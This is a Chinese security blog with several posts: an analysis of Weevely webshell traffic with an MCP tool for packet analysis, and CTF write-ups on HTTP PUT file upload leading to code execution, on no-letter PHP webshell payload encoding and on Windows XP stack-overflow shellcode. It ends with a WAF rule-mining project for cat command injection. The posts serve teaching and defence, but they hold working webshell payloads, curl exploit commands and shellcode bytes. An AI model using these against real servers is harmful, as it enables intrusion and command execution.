Lee's SecLab

科来流量分析与 MCP 自动化

2026-09-03T18:03:14.000Z

主要分析两份 Weevely 通信流量，并尝试把科来网络分析系统与 Codex 连接起来，实现抓包文件的自动解析和报告生成。

使用的抓包文件为：

weevely3_4.pcapng
weevely3_4_C.pcapng

从当前抓包可以确认 /hackable/uploads/wShell.php 已经存在并被调用，但没有直接捕获其上传过程。

上传者的IP172.16.1.76——攻击端

被上传者的IP172.16.1.163——被攻击的服务器

webshell文件上传后存储在这里

完整请求路径是：

1	/hackable/uploads/wShell.php

Webshell上传后攻击者又做什么？

看一下第一个http请求对应的数据流，可以看到攻击者通过POST请求像webshell发送了payload——HTTP请求体

这里需要注意：这条 POST 请求能够证明 WebShell 已经存在于服务器上，并且开始接收攻击命令，但不能单独证明 WebShell 的上传过程也包含在这段流量中。

然后双击查看第一条http通信的数据流，可以看到攻击者通过 POST 请求向 WebShell 发送了一段 Payload。

由于抓包文件名中带有 weevely，因此判断这可能是 Weevely 产生的加密通信。

Weevely 不会直接发送明文命令，而是使用连接密码生成 MD5，并将 MD5 的不同部分作为异或密钥和通信标记。

在请求体和响应体中，可以发现下面两个字符串反复出现

1 2	0339f2efd328 6b3c9e505489

对密码字典进行计算后，发现：

1	MD5(bmk) = 890ce1120339f2efd3286b3c9e505489

刚好可以对应抓包中的两个固定标记，因此可以确定连接密码为：

bmk

其中，MD5 的前8位：

890ce112

就是解密通信内容使用的异或密钥。

完整的对应关系为：

1
2
3

异或密钥：890ce112
开始标记：0339f2efd328
结束标记：6b3c9e505489

Weevely 流量的基本还原过程为：

解密第一轮通信后得到：

try {
    echo(24331);
} catch(Exception $e) {
    // 返回执行错误
}

其中真正执行的操作是：

1	echo(24331);

外面的 try...catch 主要用于捕获错误，并把错误信息返回给 Weevely 客户端。

后续还原出的命令依次为：

echo 40902
whoami
ls
pwd

对应结果如下：

echo 40902：返回 40902，用于测试命令执行是否正常。

whoami：返回 nginx，说明 Web 服务以 nginx 用户身份运行。

ls：查看当前目录中的文件。

pwd：返回 /usr/share/nginx/html/hackable/uploads，
说明 WebShell 当前位于该目录。

还是看http日志，发现攻击者已经上传了webshell——wShell3.php，HTTP 日志中发现向 /vulnerabilities/upload/ 发起的 multipart/form-data POST 请求，上传文件名为 wShell3.php，服务器响应显示上传成功。

点进去看源ip和目的ip，跟上一个一样

按照前面同样的方法分析，这一次的固定标记是：

按照案例一相同的方法，观察 HTTP 请求体和响应体，可以找到这一组固定标记：

1 2	开始标记：b5c349531268 结束标记：ae8484112a78

通过字典计算，发现密码 lyb 的 MD5 为：

1	MD5(lyb) = 38d17dd2b5c349531268ae8484112a78

它正好包含抓包中的两个固定标记，因此可以确定本次 Weevely 连接使用的密码为：

lyb

本次通信使用的异或密钥为 MD5 的前8位：

38d17dd2

完整对应关系为：

1
2
3

异或密钥：38d17dd2
开始标记：b5c349531268
结束标记：ae8484112a78

对每一轮通信进行解密后，得到以下操作：

1	echo 89386

返回 89386，用于测试 WebShell 能否正常执行和返回结果。

1	echo 38658

返回 38658，再次测试系统命令执行功能。

1	gethostname()

获取服务器主机名，结果为：

1	localhost.localdomain

随后 Weevely 获取当前运行用户，结果为：

nginx

getcwd()

获取当前工作目录，结果为：

1	/usr/share/nginx/html/hackable/uploads

whoami

再次确认当前用户，返回：

nginx

查看当前目录中的文件，返回结果中包括：

Decrypt.php
antShell.php
cShell.php
dvwa_email.png
shell.php
shell3.php
wShell.phar
wShell.php
wShell3.php
weevelyDeCrypt.php

pwd

确认当前目录为：

1	/usr/share/nginx/html/hackable/uploads

之后，攻击者又尝试执行：

ip a
ip
ipconfig
ifconfig

这些命令都用于查看服务器的网络配置，但响应中均提示命令不存在。

最后执行：

netstat

攻击者可能想查看服务器当前的网络连接，不过抓包中没有捕获到对应的响应结果，因此无法确定该命令最终是否执行成功。

综合当前抓包能够还原的内容，攻击者获取了服务器主机名、运行用户、当前目录和目录文件。除此之外，暂未发现其获取更多敏感信息的证据。

正常情况下，使用科来完成抓包后，需要手动打开文件、查看协议统计、筛选 IP，再把结果交给 Codex 分析。

为了减少这些重复操作，我使用科来自带的 cmdl.exe 抓包解析工具，制作了一个本地 MCP Server。

连接以后，Codex 可以直接调用科来的解析能力，对 .cap、 .pcap 和 .pcapng 文件进行查询，例如：

检查科来及解析组件是否正常。
查找指定目录中的抓包文件。
统计协议数量和通信端点。
按照 IP、端口或协议筛选数据包。
分析 DNS 查询和错误响应。
查看 ICMP 请求与响应。
分析主要网络会话。

整个 MCP 只读取本地抓包，不会主动发送数据包，也不会修改科来的配置。

首先在 Codex 的配置文件中添加：

[mcp_servers.colasoft]
command = 'C:\Program Files\Python38\python.exe'
args = [
  'D:\工具\Colasoft-MCP\colasoft_mcp.py',
  '--capture-root',
  'C:\Users\pc\Desktop\流量分析作业'
]

其中：

command

用于指定运行 MCP Server 的 Python。

1	colasoft_mcp.py

是编写的 MCP Server 主程序。

1	--capture-root

用于指定 Codex 可以查找和分析抓包文件的目录。

新建 Codex 任务时，Codex 会按照该配置启动 Python 程序。双方通过标准输入和标准输出传递 MCP 消息。

当 Codex发起分析请求后，MCP Server 调用科来的 cmdl.exe 解析抓包，再把数据包结果整理成结构化内容返回给 Codex。

基本流程如下：

用户提出分析要求
        ↓
Codex 调用 MCP 工具
        ↓
colasoft_mcp.py 接收请求
        ↓
调用科来 cmdl.exe 解析抓包
        ↓
MCP 整理解析结果
        ↓
Codex 输出分析结论

除了 MCP Server，还运行了一个单独的目录监控程序：

1	colasoft_watcher.py

该程序会在后台监控抓包目录。

当科来保存新的抓包文件后，监控程序会等待文件写入完成，然后调用相同的解析功能，并在抓包旁边生成 HTML 报告。

例如：

1	kall-Packets.cap

会自动生成：

1	kall-Packets.analysis.html

因此，这套功能分为两部分：

1
2
3

MCP Server：供 Codex 按需查询和分析抓包。

目录监控程序：发现新抓包后自动生成 HTML 报告。

为了测试自动分析是否正常，我使用 Kali 分别 Ping Windows 主机和 VMware 网关。

测试环境中的 IP 为：

1
2
3

Kali：192.168.145.10
Windows 主机：192.168.145.1
VMware 网关：192.168.145.2

测试期间使用科来进行抓包。

首先从 Kali Ping Windows 主机：

1	ping 192.168.145.1

然后 Ping VMware 网关：

1	ping 192.168.145.2

停止捕获后，将数据包保存为：

1	kall-Packets.cap

文件保存完成后，后台监控程序自动发现该抓包，并生成：

1	kall-Packets.analysis.html

报告中的分析结果为：

1
2
3

数据包总数：34
ICMP 数据包：16
ARP 数据包：18

Kali 与 Windows 主机之间存在：

1 2	4个 ICMP Echo Request 4个 ICMP Echo Reply

Kali 与 VMware 网关之间也存在：

1 2	4个 ICMP Echo Request 4个 ICMP Echo Reply

每个请求都收到了对应响应，因此可以确定两次 Ping 均成功。

这也说明科来能够正常捕获数据包，后台程序能够自动发现并解析新抓包，生成的协议统计和 ICMP 通信结果也与实际测试过程一致。

通过两份 Weevely 抓包，可以还原攻击者与 WebShell 之间的通信过程。

案例一中，攻击者已经开始使用 wShell.php，并执行了 echo、 whoami、 ls 和 pwd 等命令。

案例二中，不仅捕获到了 wShell3.php 的上传过程，还还原出了获取主机名、用户名、当前目录以及尝试查询网络配置等操作。

在此基础上，将科来的 cmdl.exe 封装成 MCP Server，使 Codex 可以直接查询本地抓包；再配合目录监控程序，实现新抓包保存后自动生成 HTML 报告。

这套方式的作用不是代替科来抓包，而是把抓包完成后的查找、统计、筛选和报告生成过程自动化，减少每次手动打开抓包、截图和整理结果的重复操作。

分析结果：

总共捕获34个数据包，其中有16个 ICMP包和18个 ARP包。

Kali与Windows主机之间有4个请求和4个响应。

Kali与VMware网关之间也有4个请求和4个响应。

由此可以确定两次 Ping 均成功，功能一切正常~

HTTP 方法枚举与 PUT 风险：从 OPTIONS 探测到配置加固

2026-08-04T06:44:27.000Z

文章状态：待复验
本文由 Lee 的 CSDN 原创学习记录迁移并重新整理。以下操作仅限自建环境、CTF 与明确授权靶场，请勿用于未授权目标。

学习目标

理解 OPTIONS 响应与 Allow 头的意义
识别 PUT 风险成立所需的写入和执行条件
从服务端配置角度限制不必要的 HTTP 方法

实验说明

难度：中级
范围：本地或公开授权靶场
复验状态：正文已完成格式迁移，关键结论将在后续使用固定环境重新验证

原始实验记录

通过发送 OPTIONS 请求来探测服务器支持的 HTTP 方法。

示例环境：[NSSRound#1 Basic] basic_check

实验截图 1

页面直接返回了当前 PHP 源码，常规请求都会被应用逻辑拦截并返回相同内容。

题目标签指向 HTTP 协议与中间件配置，因此先从服务器允许的请求方法入手。

HTTP 方法枚举

除常见的 GET（获取资源）和 POST（提交数据）外，本实验还关注 PUT（创建或覆盖资源）、DELETE（删除资源）与 OPTIONS（查询服务器支持的方法）。

curl -X PUT http://xxx.com          # 发送 PUT 请求
curl -X POST http://xxx.com         # 发送 POST 请求
curl -X OPTIONS http://xxx.com      # 发送 OPTIONS 请求
curl -X DELETE http://xxx.com       # 发送 DELETE 请求

-X：告诉curl用哪种http方法
-d：发送的请求里携带了什么数据

使用 curl 发送 OPTIONS 请求后，服务器可能通过 Allow 响应头列出支持的方法：

1	Allow: GET, POST, OPTIONS, PUT #列举服务器允许的http请求方式

由于动态页面始终返回源码，本实验改用静态路径验证方法配置和文件写入行为。

实验截图 2

响应表明服务器开放了四种请求方法。

PUT攻击

继续验证 PUT 是否真正具备写入能力。服务器返回 201 Created，说明测试文件已经创建。

实验截图 3

写入成功

实验截图 4

在授权靶场中，随后验证文件写入能否进一步形成代码执行。以下目标域名已经脱敏：

# 写入仅用于授权靶场验证的测试文件
curl -X PUT http://authorized-lab.local/shell.php -d ""
# 在靶场内验证代码执行
curl -X POST http://authorized-lab.local/shell.php -d "1=system('tac /f*');"

# POST 请求体中传入参数 1
# system 函数会把字符串作为系统命令执行并返回输出

防御与复盘

仅开放业务实际需要的 HTTP 方法，并在反向代理与应用层同时校验。
上传或写入目录与可执行目录分离，避免文件写入直接演变为代码执行。
记录异常 OPTIONS、PUT、DELETE 请求，并结合来源、路径和响应状态进行告警。

原文出处

CSDN 原创记录

无字符 WebShell：PHP 表达式构造与代码审计

2026-08-01T02:22:47.000Z

文章状态：待复验
本文由 Lee 的 CSDN 原创学习记录迁移并重新整理。以下操作仅限自建环境、CTF 与明确授权靶场，请勿用于未授权目标。

学习目标

理解 PHP 字符串异或和可变变量的行为
分析黑名单过滤为何无法等价于安全控制
建立从输入点到危险函数的数据流审计思路

实验说明

难度：进阶
范围：本地或公开授权靶场
复验状态：正文已完成格式迁移，关键结论将在后续使用固定环境重新验证

原始实验记录

eg：[HUBUCTF 2022 新生赛]HowToGetShell，匹配条件过滤了所有的字母

实验截图 1

考点一：无字幕webshell变量命名

我们的变量名通常设置为$_，$__，$___

考点二：可变变量$$


$lee="123";
$$lee="456";
echo $lee;
?>

可变变量允许我用另一个变量（123）的值，作为当前变量（$$lee=$123）的名字

eg：不能直接用字母表达变量

1 2	$__ = "_GET"; // $__ = "_GET" $$__ = ? // 等价于 $_GET = ?

考点三：动态函数调用

php允许用字符串变量来调用函数


$func = "system";   // $func 存储函数名
$func("ls");        // 等价于 system("ls")

$func2 = "assert";  // $func2 存储函数名
$func2("phpinfo();"); // 等价于 assert("phpinfo();")

$_ = "assert";      // $_ = "assert"
$_("phpinfo();");   // 执行 assert("phpinfo();")

?>

注：eval非函数不能动态调用，system、exec、shell_exec 都可

考点四：字符串异或运算

为什么要用异或？
assert 和 _GET 都有字母，不能直接写。
异或能用两个非字母字符生成一个字母，源码里全是符号，绕过检测。

常见：assert,get

$_ = ('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
// $_ = "assert"

$__ = '_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');
// $__ = "_GET"

考点五：传参

mess 里不能有字母，所以真正的代码不能放里面

用 GET 参数 _ 传递真正的代码

1	$_($___[_]); // assert($_GET['_'])

用户请求：

1	POST /?mess=...&_=phpinfo();

mess → 无字母payload（过正则）

_ → 真正执行的代码（传给assert）

然后我们回归这道题，首先用无字母方法取反构造字符串

~'%8F%97%8F%96%91%99%90%D7%D6'
###
%8F (0x8F) → 取反 → 0x70 → 'p'
%97 (0x97) → 取反 → 0x68 → 'h'
%8F (0x8F) → 取反 → 0x70 → 'p'
%96 (0x96) → 取反 → 0x69 → 'i'
%91 (0x91) → 取反 → 0x6E → 'n'
%99 (0x99) → 取反 → 0x66 → 'f'
%90 (0x90) → 取反 → 0x6F → 'o'
%D7 (0xD7) → 取反 → 0x28 → '('
%D6 (0xD6) → 取反 → 0x29 → ')'

然后赋值

// 第2步：赋值
$_ = "phpinfo()";

// 第3步：动态执行
$_();  // 等价于 phpinfo();

Payload 2：列出根目录（成功找到 flag）

1	curl -X POST "http://authorized-lab.local/" -d "mess=\$_=(~'%89%9E%8D%A0%9B%8A%92%8F');\$__=(~'%8C%9C%9E%91%9B%96%8D');\$_(\$__('/'));"

拆解：
$_ = ~'%89%9E%8D%A0%9B%8A%92%8F';    // 取反 → "scandir"
$__ = ~'%8C%9C%9E%91%9B%96%8D';      // 取反 → "dirname"
$_($__('/'));                        // scandir(dirname('/'))
// dirname('/') 返回 '/'
// scandir('/') 列出根目录

实验截图 2

~’%89%9E%8D%A0%9B%8A%92%8F’ = “scandir”
~’%8C%9C%9E%91%9B%96%8D’ = “dirname”

Payload 3：读取 flag 文件（成功拿到 flag）

1	curl -X POST "http://authorized-lab.local/" -d "mess=\$_=(~'%8D%9A%9E%9B%99%96%93%9A');\$__=(~'%D0%99%93%9E%98');\$_(\$__);"

1
2
3

$_ = ~'%8D%9A%9E%9B%99%96%93%9A';    // 取反 → "file_get_contents"
$__ = ~'%D0%99%93%9E%98';            // 取反 → "/flag"
$_($__);                             // file_get_contents('/flag')

取反字符串速查表

|
目标字符串

取反后的 URL 编码

|
| — | — |
|

phpinfo()

%8F%97%8F%96%91%99%90%D7%D6

|
|

scandir

%89%9E%8D%A0%9B%8A%92%8F

|
|

dirname

%8C%9C%9E%91%9B%96%8D

|
|

file_get_contents

%8D%9A%9E%9B%99%96%93%9A

|
|

/flag

%D0%99%93%9E%98

|
|

_GET

%8F%9A%9E%9B%99%96%93

防御与复盘

避免执行来自用户输入的表达式，不使用 eval 等动态执行机制处理不可信数据。
使用明确的语法和参数白名单，而不是依赖字母或关键字黑名单。
结合静态分析、运行时审计和最小权限降低代码执行后的影响。

原文出处

CSDN 原创记录

winXP栈溢出漏洞深度学习

2026-07-19T18:39:09.710Z

一：环境

windowsXP，vc6，ollydbg，ultraedit

二：覆盖邻接变量

原理：利用strcpy函数不会检查长度的漏洞，覆盖临近数组的flag变量，从而绕过验证

先构建一个漏洞程序

因为栈的生长方向是从高地址到低地址的，也就是先声明的变量在高地址，后声明的变量在低地址

栈向下生长，但数组向上溢出，我们的buffer数组预先只定义了44个字节的位置，所以buffr数组溢出的第一个字节就是flag的位置

在vc6里面新建一个空项目，添加一个.c文件

#include 
#include 
#include 

#define REGCODE "12345678"

int verify(char *code)
{
    int flag;    //邻接变量，位于buffer下方
    char buffer[44];    //缓冲区，共44字节
    flag = strcmp(REGCODE, code);
    strcpy(buffer, code);    //无长度检查的strcpy函数
    return flag;    //是否通过验证
}

void main()
{
    int vFlag = 0;
    char regcode[1024];
    FILE *fp;

    LoadLibrary("user32.dll");

    if (!(fp = fopen("reg.txt", "r+")))
        exit(0);

    fscanf(fp, "%s", regcode);
    //fp：文件指针
    //fscanf会在字符串末尾自动添加'\0'
    vFlag = verify(regcode);

    if (vFlag)
        printf("wrong regcode!");
    else
        printf("passed!");

    fclose(fp);
}

编译

在debug文件同层创建一个reg.txt，写入密码12345678，运行看看有没有问题

正常

输入44个’1’，填充44个字节没因为fscanf会自动在末尾加上\0，这个\0会覆盖flag的最低位，把flag从1变成0，表示验证通过了

防御方向：限制复制长度

二：植入shellcode（运行漏洞程序后令win系统弹出弹窗）

user32.dll：win动态链接库，包含messageboxa函数

MessageBoxA：是Windows 系统中弹出提示框的 API 函数。调用它就能显示一个窗口

实现思路：后面的 shellcode 需要直接调用 MessageBoxA，但代码里不能写函数名（因为植入的是机器码），必须知道它在内存中的 入口地址，然后让程序跳转到这个地址去执行。

所以我们先通过这个c代码得到

在 Windows XP 中，user32.dll 的加载基址是 0x77D10000。

MessageBoxA 在 user32.dll 中的偏移是 0x000407EA。

入口地址 = 基址 + 偏移 =0x77D10000 + 0x000407EA = 0x77D507EA

ollydbg打开exe文件，在菜单的试图里面找到调试窗口→watch

在watch窗口里面搜一下&buffer

得到buffer的地址：0x0012faf0

开始构建shellcode，首先，调用MessageBoxA函数，我们需要四个参数：

1hWnd——父窗口句柄指定哪个窗口作为消息框的父窗口，这个实验我们传进去0/NULL，表示这是一个独立的窗口2IpText显示的文本3IpCaption标题栏文字4uType按钮类型，这个实验传0，代表只显示确定按钮

在win中，压栈顺序是从右往左，所以参数顺序是4321，之后就可以调用MessageBoxA

在压到3，2参数部分的时候，要对字符串进行处理，要先把字符串写入栈内存，再把字符串的地址作为参数进行传递

顺序如下：

汇编机器码作用 XOR EBX, EBX 33 DB

EBX = 0 PUSH EBX 53

压入 uType=0（参数4） PUSH 0x74736577 68 77 65 73 74

压入 “west” PUSH 0x74736577 68 77 65 73 74

压入 “west” MOV EAX, ESP 8B C4

EAX = 字符串地址 PUSH EBX 53

压入 hWnd=0（参数1） PUSH EAX 50

压入 lpText（参数2） PUSH EAX 50

压入 lpCaption（参数3） PUSH EBX 53

压入 uType=0（参数4） MOV EAX, 0x77D507EA B8 EA 07 D5 77

函数地址入 EAX CALL EAX FF D0

调用

以上0~25这段机器码就是弹窗部分

26~43内18个字节用90填充，表示NOP指令，什么都不做

44~47内四个字节用90填充，覆盖旧的flag

48~51四个字节用90填充，覆盖旧的EBP栈顶指针

（因为返回地址再flag和EBP后面，要覆盖返回地址，必须先把前52个字节填满，90=NOP（空操作），CPU执行到这里什么都不做，继续往下）

52~55四个字节填充 F0 FA 12 00，表示返回地址→指向buffer[0]

打开UltraEdit，CTRL+G进入十六进制，开始填充机器码

之后保存到debug的同层——reg.txt

再次运行程序，成功跳出弹窗

cat命令注入绕过检测规则的自动化生成

2026-07-19T16:00:00.000Z

CRSRuleMiner

——针对cat命令的CRS规则挖掘

说明：文字页保留原始分页文本，图页嵌入原图。

目录与项目简介

CRSRuleMiner
——针对cat命令的CRS规则挖掘
目录：
零：项目简介
一：开发环境
二：整体项目架构及文件说明
三：主要功能
- 核心目标
- 功能模块
- 评测体系
四：核心代码
- 自研变种（generate_variants.py）
- 聚类（cluster_training_set.py）
- 规则投票（vote_cluster_regex.py）
- WAF运行时验证（waf_probe.py）
五：实验结果
- 聚类阶段
- 规则投票阶段
- 规则压缩对比
- 冻结一次、只测一次的公共来源hold-out
- 误报与边界测试
- CRS运行时对比
- 总结
六：EXE打包与安装包制作
七：AI 对话记录与项目历程
零：项目简介：
CRSRuleMiner 项目，是面向 OWASP CRS 的 cat 命令注入绕过规则自动挖掘项目。本项目从 165
条真实攻击样本出发，通过自研变种生成、SBERT 语义聚类、HDBSCAN 密度分簇和 GPT5.5
三次采样投票，自动归纳出 11 条紧凑检测规则。
规则在 144 条真实攻击集上命中 129 条，在 5000 条混合日志上实现零误报，且通过 CRS 932
剥离对比验证了独立净增量。项目完整覆盖了从样本收集、规则生成到 WAF
运行时评测的工程闭环，并打包为桌面可执行程序，支持搜索、溯源与结果复核。

开发环境与背景说明

注：
OWASP 是研究和发布 Web 应用安全相关的知识、工具和标准的安全组织
OWASP CRS（Core Rule Set）就是这个组织发布的一套 WAF
防护规则集。它是全球最主流、应用最广泛的开源 WAF 规则库
我的规则最终要补进 CRS 里，932是CRS规则集里面的规则文件编号，REQUEST-932：专门检测
远程命令执行（RCE），管理着cat的命令注入，最终的11条规则就是要补在932这条链路上，我用 Git 把
OWASP CRS 的官方仓库从 GitHub 克隆到了本地，然后切到 v4.28.0-dev 分支，存放在项目根目录的 .tmp_crs/
文件夹里这样就可以直接引用 CRS 的原始规则文件、配置模板和回归测试框架，在本地 WSL2
环境中加载、对比和验证自己的 11 条自定义规则。
一：开发环境
操作主机：win11
Python：3.8.10
虚拟环境：venv
Web框架：FastAPI 0.124.0
前端：Jinja2 模板 + 原生 HTML5 / CSS3 / JS
可视化：Plotly.js 3.0.1
机器学习：
torch 2.4.1 （计算，推理）
transformers 4.46.3（加载，管理，运行 all-minilm-l6-v2模型）
SBERT(sentence-transformers 3.2.1)(把Token化的payload编码为384维向量）
HDBSCAN 0.8.40（聚类向量）
Pandas（辅助读取训练集，统计簇的大小，统计噪声）
Numpy 1.24.4 (存向量）
Scikit-learn 1.3.2 （算轮廓系数，做消融实验，评估聚类质量）
LLM：GPT-5.5
开发工具：
codex / VS Code
PyInstarller：打包项目为exe
WSL2：提供apache进行modsecurity测试
访问方式：CRSRuleMiner.exe
二：整体项目架构及文件说明：
C:\Users\pc\Desktop\changcheng\
├── app.py #fastapi主程序
├── CRSRuleMiner.spec #pyinstaller打包配置文件
├── GreatWallCup.md
├── PR_4664.md
├── evidence_pack.md
├── static\ #静态前端
│ ├── workbench.css #工作台样式

整体项目架构及文件说明

│ └── workbench.js #搜索，渲染，导出，溯源显示
├── templates\ #前端样式
│ └── index.html #主页面骨架
├── scripts\ #脚本
│ ├── audit_noise_samples.py #从 206 条噪声中抽 40 条做人工复核，并统计全量噪声的五分类分布
│ ├── build_benign_context_docs.py #生成110条合法文本语境误报集
│ ├── build_benign_mixed.py #生成 5000 条 Apache + Nginx 混合误报压力集
│ ├── build_cat_in_context_probe.py #生成 117 条 cat 命令语境探针集
│ ├── build_custom_crs_conf.py #生成加载 11 条自定义规则的 CRS 配置文件
│ ├── build_custom_only_fp_sample.py #生成 500 条 custom-only 纯误报抽样集
│ ├── build_independent_blind_eval.py #生成 64 条独立盲测集与 80 条跨命令试点
│ ├── build_locked_eval.py #生成 359 条冻结泛化备选集与 5000 条基础误报日志集
│ ├── check_env.py # 检查 Python 依赖和运行环境是否就绪
│ ├── clean_locked_generalization.py # 按语义清洗原始备选集合为裸 payload
│ ├── cluster_training_set.py #三步簇产出结果
│ ├── compare_rule_versions.py # 规则压缩前后消融对比
│ ├── crs_932_blocking_compare.sh # 只加载 932+949 规则，重跑冻结集
│ ├── crs_932_compare.sh # 对比 CRS 基线与本项目补丁的命中差异
│ ├── crs_932_plus_custom_compare.sh # CRS + 自定义规则联合测试
│ ├── custom_only_500_probe.sh # 对 custom-only 纯误报抽样做 WAF 运行时探针
│ ├── custom_only_compare.sh # 只加载自定义规则，单独测误报
│ ├── extract_cluster_patterns.py #从每个簇提取正则骨架
│ ├── freeze_eval_lockin.py
│ ├── generate_variants.py #165→737条自研变种
│ ├── rank_review_candidates.py
│ ├── split_homologous_dataset.py #切分变种集为训练集和同源测试集
│ ├── test_rules.py #离线正则脚本
│ ├── vote_cluster_regex.py #gpt三次投票筛选
│ ├── waf_probe.py # 向本地 WAF/CRS 发送批量请求并统计 blocked/allowed
│ ├── waf_probe_detail.py # 逐行输出每条 payload 的详细拦截结果
│ ├── wsl_inspect_crs_images.sh # 检查 CRS 临时目录中的镜像/引用内容
│ ├── wsl_setup_apache_crs.sh # 在 WSL2 中搭建 Apache + ModSecurity + CRS 环境
│ ├── wsl_test_baseline.sh # 测试基线 CRS 的冻结集表现
│ └── wsl_trust_docker_proxy.sh # 给 Docker 代理证书装信任并重启 Docker
├── dist\ # PyInstaller 打包输出目录
│ ├── CRSRuleMiner.exe # 正式桌面交付产物
│ └── .tmp_tools\workbench_state_cache.json # 工作台运行状态缓存
├── ApacheLog-Dataset\ # Apache 日志数据集

├── .tmp_crs\ # 临时克隆的 OWASP CRS 源码，用于 WAF 测试
├── .tmp_tools\ # 外部工具缓存（RegexGenerator、Regexploit 等）
├── .claude\
├── venv\ # Python 虚拟环境，所有第三方依赖安装在此
├── real_samples.txt #原始165条样本集
├── homologous_test.txt #从变种样本集中拿出的100条同源样本集
├── locked_generalization_set.txt #359条备选样本集，冻结
├── locked_generalization_real.txt #149条清洗备选样本集，用于离线测试
├── locked_generalization_attack_real.txt #144条彻底清洗样本集，waf测试
├── benign_logs.txt #误报集：apache5000条真实日志
├── benign_logs_mixed.txt # 误报集：Apache + Nginx 混合日志 5000 条
├── false_positive_logs_public.txt # 误报集：多源公开 HTTP 日志 2037 条
├── false_positive_logs_stress.txt # 误报集：压力版日志 5200 条，含 200 条合法 cat 子串
├── benign_context_docs.txt # 误报集：合法文本语境 110 条，刻意清掉 shell 语法痕迹
├── cat_in_context_probe.txt # 误报集：cat 命令语境探针 117 条，逼近教程命令示例边界
├── cluster_results.json # 聚类结果，含 63 个簇、206 条噪声和摘要统计
├── voting_result.json # LLM 三次采样投票结果，记录每个簇的三次输出与采纳情况
├── rule_compression_ablation.json # 15 条与 11 条规则的压缩消融对比数据
├── crs_932_attack_result.json # REQUEST-932 + 949 only attack-only 结果
├── crs_custom_attack_result.json # CRS + custom attack-only 结果
├── custom_only_attack_result.json # custom-only 攻击样本实测结果
├── custom_only_fp_500_result.json # custom-only 纯误报 500 条抽样实测结果
├── frozen_independent_blind_cat_eval.txt# 冻结一次的公共来源 hold-out 副本，64 条
├── frozen_independent_blind_manifest.json # 公共来源 hold-out 冻结清单与 SHA256
├── frozen_independent_blind_result.json # 公共来源 hold-out 冻结实测结果
├── frozen_homologous_test.txt # 冻结版同源测试集
├── frozen_locked_generalization_real.txt # 冻结版泛化集副本
├── frozen_benign_logs.txt # 冻结版误报集副本
├── frozen_false_positive_logs_public.txt # 冻结版公开误报集副本
├── frozen_false_positive_logs_stress.txt # 冻结版压力误报集副本
├── frozen_rules_final_compact.txt # 冻结版最终规则副本
├── locked_eval_manifest.json # 清洗后评测清单与来源统计
├── locked_generalization_attack_manifest.json # attack-only 冻结集的剔除行和溯源说明
├── evaluation_lockin_manifest.json # 冻结评测锁定清单，含 SHA256 与线数
├── rules.txt # 早期手工基线规则，10 条（对比实验参照）
├── rules_final.txt # 15 条阶段版最终规则（消融实验对照组）
├── rules_final_compact.txt # 当前稳定可复核的紧凑规则集，11 条
├── rules_targeted.txt # 针对特定样本收紧的规则版本，15 条

├── candidate_patterns.txt # 每簇候选模式骨架
├── noise_audit_sample.txt # HDBSCAN 噪声抽样复核样本，40 条
├── noise_audit_report.json # 噪声全量 206 条的五分类桶统计报告
├── portability_probe_wget_curl.txt # 跨命令试点集，80 条，验证对 wget/curl 的迁移能力
├── portability_mini_rules.txt # 跨命令试点用的 3 条最小可用规则
├── regexgenerator_best_java.txt # RegexGenerator 输出的最优 Java 正则，1 条
├── regexgenerator_dataset.json # RegexGenerator flagging 数据集
├── regexgenerator_flagging_dataset.json ## RegexGenerator flagging 数据集
├── regexgenerator_flagging_dataset_smallneg.json # 小负样本版 flagging 数据集
├── regexgen_small.json # 小规模 RegexGenerator 结果样本
├── OS-Command-Injection-Unix-Payloads.txt # 公开 Unix 命令注入 payload 集合
├── pentest-book-command-injection.md # 渗透测试命令注入参考笔记
├── portswigger-command-injection-attacker.md # PortSwigger shelling 命令注入资料整理
├── nginx_access_sample.log # Nginx 访问日志样本，37 行
├── nginx_logs_raw.txt # 原始 Nginx 日志，51462 行
├── Apache_2k.log # Apache 访问日志原始样本，2000 行
└── ApacheLog-Dataset/src/data/promjetDec2021.log # 原始 Apache 访问日志，137510 行
项目依赖：
FastAPI 0.124.4/Uvicorn 0.33.0：Web 服务与接口层。
sentence-transformers 3.2.1：SBERT 文本向量化。
transformers 4.46.3：底层模型加载与管理。
torch 2.4.1：推理与张量计算。
hdbscan 0.8.40：密度聚类。
scikit-learn 1.3.2：评估、消融和统计分析。
openai 2.2.0：LLM 投票生成规则。
numpy 1.24.4/pandas 2.0.3：数据处理与汇总。
pyinstaller 6.14.1：桌面版打包。
httpx 0.28.1：OpenAI 兼容接口调用。
4. 配置API密钥
创建 .env 文件，写入：OPENAI_API_KEY=(GPT5.5)
三：主要功能
核心目标
本项目围绕有关cat命令的绕过注入，该项目以真实样本为基准，自动产出检测规则，生成的规则可维护，可
复现，并尽量把规则整理成 CRS 风格SecRule，为后续 PR 集成做准备
2. 功能模块
变种生成—generate_variants.py：从 165 条真实收集的catpayload 生成 737 条自研变种，覆盖 10 种绕过维度
数据切分—split_homologous_dataset.py：从混合池中切出 100 条同源测试集，剩余作为训练集

主要功能与核心代码

聚类—cluster_training_set.py： Token 化 → SBERT 向量化 → HDBSCAN 聚类，产出 63 个簇 + 206 条噪声
骨架提取—extract_cluster_patterns.py： 从每个簇提取候选正则骨架
规则投票—vote_cluster_regex.py：GPT 单模型三次采样投票，三次一致才进入候选集，得到15条
规则压缩—人工审核 + 消融对比： 从 15 条压缩至 11 条紧凑规则
离线测试—test_rules.py：验证正则规则是否有效，统计命中/漏报/误报
评测集构建—build_*.py：（7 个脚本） 生成合法文本语境集、cat 语境探针、混合日志集、独立盲测集等
噪声审计—audit_noise_samples.py： 对 206
条噪声做五分类（类攻击，元数据，html碎片，文本）统计和人工抽样复核
WAF 运行时—waf_probe.py： 在 WSL2 + Apache + ModSecurity + CRS 中实测拦截率
打包—CRSRuleMiner.spec：PyInstaller 打包成 exe，双击启动桌面工作台
3. 评测体系
同源测试—100 条：验证同分布覆盖能力
冻结泛化（离线）—149：离线正则回归测试
冻结泛化（WAF）—144 条：attack-only 真实 WAF 环境拦截率
独立盲测—64 条：验证对新来源的泛化能力
跨命令试点—80 条：验证对 wget/curl 的迁移能力
合法文本语境—110 条：测纯 prose 文本是否被误杀
cat 语境探针—117 条：测教程命令示例是否被误判
误报压力集—5000+5200+2037 条：真实日志大规模误报测试
custom-only 误报—500 条：剥离 CRS 其他规则后的纯净误报测试
CRS 932 剥离—90/144 vs 129/144：量化自定义规则的净增量
四：核心代码
1. 自研变种（generate_variants.py）
主要作用：
